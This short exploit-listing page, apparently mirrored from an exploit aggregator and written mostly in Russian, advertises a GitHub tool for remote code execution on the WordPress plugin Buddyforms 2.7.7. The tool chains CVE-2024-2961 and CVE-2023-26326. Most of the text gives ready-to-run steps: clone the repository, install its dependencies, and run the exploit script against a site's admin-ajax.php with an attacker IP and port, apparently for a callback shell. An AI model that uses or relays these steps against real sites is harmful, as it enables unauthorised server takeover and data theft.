Exploit for CVE-2024-2961 CVE-2023-26326 CVE-2024-2961

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SUCE0155-CVE-2024-2961
# Buddyforms 2.7.7 CNEXT RCE

Эксплуатация CVE-2024-2961 и CVE-2023–26326 для получения RCE

# Использование

root@kitploit:~
    
    
    git-clone https://github.com/suce0155/CVE-2024-2961_buddyforms_2.7.7
    pip install -r requirements.txt
    python3 buddyforms_2.7.7_cnext_exploit.py http://site/wp-admin/admin-ajax.php {ip} {port}
    

# Анализ и технические детали

Ознакомьтесь с моим **постом в блоге**

# POC

![Alt Text](https://raw.githubusercontent.com/suce0155/CVE-2024-2961_buddyforms_2.7.7/main/poc.gif)